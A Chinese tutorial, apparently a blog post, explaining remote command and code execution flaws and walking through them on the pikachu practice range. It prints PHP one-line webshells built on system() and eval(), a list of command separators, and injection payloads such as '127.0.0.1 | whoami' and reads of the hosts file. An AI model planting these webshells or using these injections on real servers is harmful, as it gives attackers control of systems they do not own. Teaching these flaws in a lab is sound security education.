RCE漏洞的原理详细讲解并基于pikachu靶场的实战演戏

前言

再讲rce漏洞之前 问大家一个问题

你们肯定听说过 一句话木马 后门文件 这些词汇吧

那你们知道他们是利用什么进行攻击的吗

就是利用咱们要讲的rce漏洞去执行的

开场:假如你的电脑有一把"万能钥匙"

什么是 RCE 漏洞?

它就像一把能打开你家、邻居家甚至整栋楼的"万能钥匙"。一旦被黑客掌握,他们就能远程打开你的电脑、服务器,甚至整个网络大门,在你的系统里为所欲为。

RCE(remote command/code execute)概述

RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

根源就是一句话:用户可控输入 + 未过滤/过滤不严 + 直接执行命令/代码 = RCE漏洞。

官方定义

一种高危安全漏洞,允许攻击者通过网络连接,在目标系统(服务器、电脑、手机等)上未经授权地执行任意代码或命令。这意味着攻击者完全控制了受影响的设备,能窃取数据、植入恶意软件,甚至接管整个网络系统。

人话解释

你家的电脑或公司的服务器,在网上有个"入口"(比如一个网站或APP接口)。正常情况下,这个入口只让你做特定的事(比如登录、发帖)。

但如果存在RCE漏洞,就相当于大门没锁,黑客能通过这个入口,让你的设备"言听计从",执行他发给你的任何指令,比如删文件、偷密码,甚至用你的设备去攻击别人。

产生的原因

有些网站的功能(比如 "文件上传""搜索框""设备控制界面"),程序员没过滤用户输入的内容,黑客就趁机输入一 段 "系统能识别的命令"(比如 "删除所有文件""偷取数据库里的用户密码"),服务器一看 "哦,是能执行的指令",就傻乎乎照做了。

我们通过定义知道rce漏洞是分为两种 命令执行和代码执行

两种 RCE:命令执行 vs. 代码执行

命令执行

简单代码
php 复制代码
<?php
    $code=$_GET['x'];
    echo system($code);
?>

这是一个【完整的后门 / 一句话木马】,谁访问都能直接执行服务器系统命令!

逐行解释

code=_GET['x']; 接收网址上传来的参数 x,把它存到变量里。

echo system(code);直接执行 code 里的内容,当成系统命令运行,并把结果输出到网页上。(打印输出访问系统文件 system相当于cmd)

?x=命令 = 直接执行系统命令

system() = PHP 执行系统命令的危险函数

http://pikachu/2.1.php/?x=ipconfig

无乱码版
php 复制代码
<?php
// 设置页面编码为 UTF-8,防止网页乱码
header("Content-Type: text/html; charset=utf-8");

// 获取URL地址栏里的 x 参数(用户输入的系统命令)
$code = $_GET['x'];

// 开启输出缓冲区:捕获系统命令执行的所有输出内容
ob_start();

// 执行用户传入的系统命令(高危函数!存在RCE漏洞)
system($code);

// 获取缓冲区里的所有命令执行结果
$res = ob_get_contents();

// 关闭并清空缓冲区
ob_end_clean();

// 将Windows命令行的GBK编码 转为 网页UTF-8编码,彻底解决乱码
echo iconv('GBK','UTF-8//IGNORE',$res);
?>
你还能玩的命令

?x=whoami 查看当前用户

?x=ipconfig 查看网卡信息

?x=dir 查看目录文件

?x=calc 打开计算器(测试用)

?x=ping 127.0.0.1 ping本地地址

?x=net user

?x=msg /server:10.9.31.250 * "把你的零食给我交出来" (在局域网里面对已知IP地址进行弹窗处理)

代码执行

简单代码
php 复制代码
<?php
    $code=$_GET['x'];
    eval($code);
?>

这是 PHP 最危险的代码 ------ 一句话木马(后门)它能让任何人通过网址直接控制你的服务器

逐行解析

code=_GET['x']; 获取URL地址栏中参数 x 的值(用户输入的代码)

eval($code); eval() 函数:把传入的字符串当作 PHP 代码直接执行!

http://pikachu/1.php/?x=phpinfo();

?x=phpinfo(); PHP 的「体检报告」

?x=system('whoami'); 执行系统命令

?x=system('ipconfig'); 执行系统命令

为什么比 system () 更危险?

  • system() 只能执行系统命令

  • eval() 能执行 任意 PHP 代码 + 任意系统命令等于把服务器完全敞开!

总结

命令执行能做的 代码执行也可以做 命令执行不能做的 我代码执行还可以做

连接符

我们先来了解下Windows系统和Linux系统的连接符

Windows系统:

|:只执行后面的语句。

||:如果前面的语句执行失败,则执行后面的语句。

&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。

&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统:

;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。

|(管道符):只执行后面的语句。

||(逻辑或):只有前面的语句执行出错时,执行后面的语句。

&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。

&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami

处理乱码

在使用pikachu平台进行RCE测试的时候,使用ping时,返回的结果会出现乱码

为浏览器与PHP脚本默认的编码之间存在冲突(如下图)

打开以下文件

65行回车加入下面这句话

php 复制代码
$result = iconv("GBK", "UTF-8", $result);

exec "ping"

远程命令执行 (Command Execution)

生活比喻:点外卖

你家的系统就像一个餐厅,有固定的菜单(系统命令)。正常情况下,你通过网站输入一个合法的"菜品",系统就帮你"下单"执行。但如果有漏洞,黑客就可以在"菜品"后面偷偷加一句:"顺便帮我把厨房的垃圾倒了"(执行另一个命令),系统傻傻地照做了。

技术原理:应用程序将用户输入直接拼接到操作系统命令中执行,而没有做任何过滤或转义处理。

回到题目,我们先来ping一下本地

127.0.0.1

我们跟上连接符看看能不能执行其他命令

127.0.0.1 | dir C:

这里成功查看了C盘的文件,咱们也可以尝试一下其他的连接符,这里我就不多做演示了,理论上可以执行任何的系统命令

127.0.0.1 | whoami

查看当前运行这个程序的用户名

|-----------------|-------------------------------------------------------|---------------------|
| Payload | 作用(Windows) | |
| `127.0.0.1 | ipconfig` | 查看服务器的网络配置 |
| `127.0.0.1 | dir` | 查看当前目录下的文件列表 |
| `127.0.0.1 | type C:\Windows\System32\drivers\etc\hosts` | 查看系统 hosts 文件内容 |

exec "eval"

远程代码执行 (Code Execution)

生活比喻:请私厨上门

这次,黑客不满足于点你菜单上的菜了。他直接把自己的"厨师"(恶意代码)派到你家厨房,让他用你家的锅碗瓢盆(系统资源)做任何他想做的"黑暗料理",完全接管了烹饪过程。

技术原理:应用程序将用户输入当作自身程序代码的一部分来编译并执行。例如 PHP 中的eval()函数会直接把传入的字符串当作代码运行。

这里pikachu的远程代码执行真的非常简单,建议玩下其他靶场的远程代码执行

eval函数

这里我就简单介绍下eval这个函数

  • 动态执行代码:eval() 函数使程序能够在运行时动态执行字符串中的代码。它可以将字符串中的代码作为有效的程序代码进行解析和执行。
  • 字符串转换为代码:eval() 函数将接收到的字符串参数解析为编程语言的有效代码,并尝试执行该代码。这意味着您可以在字符串中包含变量、表达式、函数调用等,并且它们将在执行时被解释和计算。

phpinfo();

phpinfo() 是 PHP 内置的核心函数,

作用只有一个:一键输出当前服务器 / 环境的所有 PHP 详细信息。

简单说:它就是 PHP 的「体检报告」。

它能显示什么信息?

运行这行代码,会直接打印出一整页详细内容,包括:

  • PHP 版本(7.4 / 8.0 / 8.1 等)
  • 运行环境(Apache/Nginx、操作系统、服务器软件)
  • 开启的扩展 / 模块(MySQL、Redis、GD、curl 等)
  • 配置参数(最大上传大小、超时时间、内存限制)
  • PHP 编译信息、路径、环境变量

加油各位( •̀ ω •́ )y 期待与君再相逢

相关推荐
DianSan_ERP4 小时前
自研电商架构:一套API安全对接60+平台
大数据·运维·数据库·人工智能·安全·架构
老詹图解IT4 小时前
深度剖析:近期 Linux 内核重大漏洞与 AI 时代的安全挑战—兼答“制造恐慌“之说,以及Linus邮件背后的真实故事
网络·安全
谪星·阿凯4 小时前
第三方应用软件提权全解析
windows·网络安全
小枣信安4 小时前
大模型安全系列:不安全的输出如何演变成RCE攻击
安全
xiaoyaohou114 小时前
【Web安全】SRC平台深度解析:从CNVD到企业SRC的漏洞挖掘指南
网络·安全·web安全
星幻元宇VR5 小时前
VR施工安全行走平台,沉浸式建筑安全培训新模式
科技·学习·安全·vr·虚拟现实
ishangy6 小时前
集装箱箱底连锁检测:AI防爆摄像机保障智慧港口吊装安全
人工智能·安全·视觉检测·智慧港口·ai视频监控
星幻元宇VR6 小时前
VR消防安全体验屋|沉浸式科技助力消防安全科普
人工智能·科技·学习·安全·vr
长谷深风1117 小时前
Java并发编程:线程安全与多线程实战指南【个人八股】
java·安全·线程·进程·juc·并发与并行·上下文切换(性能影响因素)